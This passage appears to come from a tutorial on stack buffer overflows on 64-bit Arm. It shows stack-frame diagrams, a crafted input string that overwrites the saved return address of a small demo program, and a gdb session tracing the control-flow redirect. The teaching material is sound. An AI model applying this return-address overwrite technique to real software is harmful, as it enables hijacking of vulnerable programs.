\
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| x | x | <- buffer2 -> | <- buffer1 -> | x | x | x | <- frame of the main function -> |
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
sp+: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ....
^
|
sp
\
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| x29 = fp of previous function | x30 = return address to prev f| <- frame of function that called main-> |
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
sp+: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ...
^
|
sp = x29
\
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| unused | buffer | x29 of previous function | return address x30 |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
sp+: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
^ ^
| |
sp x29
One string that could be a solution to exercise 3 at the end of the previous section is:
$'0123456789012345\x20\x08\xaa\xaa\xaa\xaa\x00\x00'
We created this string by:
First filling the string with arbitrary characters for bytes 0 till 15.
Starting at byte 16, we fill in the address we want the return address to take. One special consideration to take is that we are working on a little-endian target. Therefore, we have to reverse the order of the bytes of the address in the string.
Let’s see if it works:
./redirect1 $'0123456789012345\x20\x08\xaa\xaa\xaa\xaa\x00\x00'
0123456789012345
Success! The program no longer prints the string
"The string on the command line was: "
!
Time for a little celebration: 🎉
Now let’s check in detail by stepping through the program that this is working as we expect:
gdb -q --args ./redirect1 $'0123456789012345\x20\x08\xaa\xaa\xaa\xaa\x00\x00'
Reading symbols from ./redirect1...
(gdb) break f
__output__Breakpoint 1 at 0x7e4: file redirect1.c, line 8.
(gdb) run
__output__Starting program: /armlearningpaths/redirect1 0123456789012345\
__output__[Thread debugging using libthread_db enabled]
__output__Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
__output__
__output__Breakpoint 1, f (src=src@entry=0xfffffffff927 "0123456789012345 \b\252\252\252\252") at redirect1.c:8
__output__8 strcpy(buffer, src);
(gdb) disass f
__output__Dump of assembler code for function f:
__output__ 0x0000aaaaaaaa07d4 <+0>: sub sp, sp, #0x20
__output__ 0x0000aaaaaaaa07d8 <+4>: stp x29, x30, [sp, #16]
__output__ 0x0000aaaaaaaa07dc <+8>: add x29, sp, #0x10
__output__ 0x0000aaaaaaaa07e0 <+12>: mov x1, x0
__output__=> 0x0000aaaaaaaa07e4 <+16>: add x0, sp, #0x8
__output__ 0x0000aaaaaaaa07e8 <+20>: bl 0xaaaaaaaa0680 <strcpy@plt>
__output__ 0x0000aaaaaaaa07ec <+24>: ldp x29, x30, [sp, #16]
__output__ 0x0000aaaaaaaa07f0 <+28>: ldrb w0, [sp, #10]
__output__ 0x0000aaaaaaaa07f4 <+32>: add sp, sp, #0x20
__output__ 0x0000aaaaaaaa07f8 <+36>: ret
__output__End of assembler dump.
(gdb) x/4gx $sp
__output__0xfffffffff570: 0x0000fffffffff728 0x0000000000000002
__output__0xfffffffff580: 0x0000fffffffff590 0x0000aaaaaaaa0814
We see that before the buffer overflow in strcpy
is executed, the stored value
of x30
on the stack is as it should be: 0xaaaaaaaa0814
.
(gdb) nexti 2
__output__9 return buffer[2];
(gdb) disass f
__output__Dump of assembler code for function f:
__output__ 0x0000aaaaaaaa07d4 <+0>: sub sp, sp, #0x20
__output__ 0x0000aaaaaaaa07d8 <+4>: stp x29, x30, [sp, #16]
__output__ 0x0000aaaaaaaa07dc <+8>: add x29, sp, #0x10
__output__ 0x0000aaaaaaaa07e0 <+12>: mov x1, x0
__output__ 0x0000aaaaaaaa07e4 <+16>: add x0, sp, #0x8
__output__ 0x0000aaaaaaaa07e8 <+20>: bl 0xaaaaaaaa0680 <strcpy@plt>
__output__=> 0x0000aaaaaaaa07ec <+24>: ldp x29, x30, [sp, #16]
__output__ 0x0000aaaaaaaa07f0 <+28>: ldrb w0, [sp, #10]
__output__ 0x0000aaaaaaaa07f4 <+32>: add sp, sp, #0x20
__output__ 0x0000aaaaaaaa07f8 <+36>: ret
__output__End of assembler dump.
(gdb) x/4gx $sp
__output__0xfffffffff570: 0x0000fffffffff728 0x3736353433323130
__output__0xfffffffff580: 0x3534333231303938 0x0000aaaaaaaa0820
After the buffer overflow has happened in strcpy
, the stored value of x30
on
the stack has changed indeed to the value oxaaaaaaaa0820
.
(gdb) nexti 3
__output__0x0000aaaaaaaa07f8 9 return buffer[2];
(gdb) disass f
__output__Dump of assembler code for function f:
__output__ 0x0000aaaaaaaa07d4 <+0>: sub sp, sp, #0x20
__output__ 0x0000aaaaaaaa07d8 <+4>: stp x29, x30, [sp, #16]
__output__ 0x0000aaaaaaaa07dc <+8>: add x29, sp, #0x10
__output__ 0x0000aaaaaaaa07e0 <+12>: mov x1, x0
__output__ 0x0000aaaaaaaa07e4 <+16>: add x0, sp, #0x8
__output__ 0x0000aaaaaaaa07e8 <+20>: bl 0xaaaaaaaa0680 <strcpy@plt>
__output__ 0x0000aaaaaaaa07ec <+24>: ldp x29, x30, [sp, #16]
__output__ 0x0000aaaaaaaa07f0 <+28>: ldrb w0, [sp, #10]
__output__ 0x0000aaaaaaaa07f4 <+32>: add sp, sp, #0x20
__output__=> 0x0000aaaaaaaa07f8 <+36>: ret
__output__End of assembler dump.
(gdb) stepi
__output__main (argc=<optimized out>, argv=<optimized out>) at redirect1.c:16
__output__16 puts(chars);
(gdb) disass
__output__Dump of assembler code for function main:
__output__ 0x0000aaaaaaaa07fc <+0>: stp x29, x30, [sp, #-32]!
__output__ 0x0000aaaaaaaa0800 <+4>: str x19, [sp, #16]
__output__ 0x0000aaaaaaaa0804 <+8>: mov x29, sp
__output__ 0x0000aaaaaaaa0808 <+12>: ldr x19, [x1, #8]
__output__ 0x0000aaaaaaaa080c <+16>: mov x0, x19
__output__ 0x0000aaaaaaaa0810 <+20>: bl 0xaaaaaaaa07d4 <f>
__output__ 0x0000aaaaaaaa0814 <+24>: adrp x0, 0xaaaaaaaa0000
__output__ 0x0000aaaaaaaa0818 <+28>: add x0, x0, #0x850
__output__ 0x0000aaaaaaaa081c <+32>: bl 0xaaaaaaaa0670 <puts@plt>
__output__=> 0x0000aaaaaaaa0820 <+36>: mov x0, x19
__output__ 0x0000aaaaaaaa0824 <+40>: bl 0xaaaaaaaa0670 <puts@plt>
__output__ 0x0000aaaaaaaa0828 <+44>: ldr x19, [sp, #16]
__output__ 0x0000aaaaaaaa082c <+48>: mov w0, wzr
__output__ 0x0000aaaaaaaa0830 <+52>: ldp x29, x30, [sp], #32
__output__ 0x0000aaaaaaaa0834 <+56>: ret
__output__End of assembler dump.
__output__(gdb)
And indeed, rather than returning to 0xaaaaaaaa0814
, the instruction after the call to function f
has returned to
0xaaaaaaaa0820
, skipping the first call to puts
.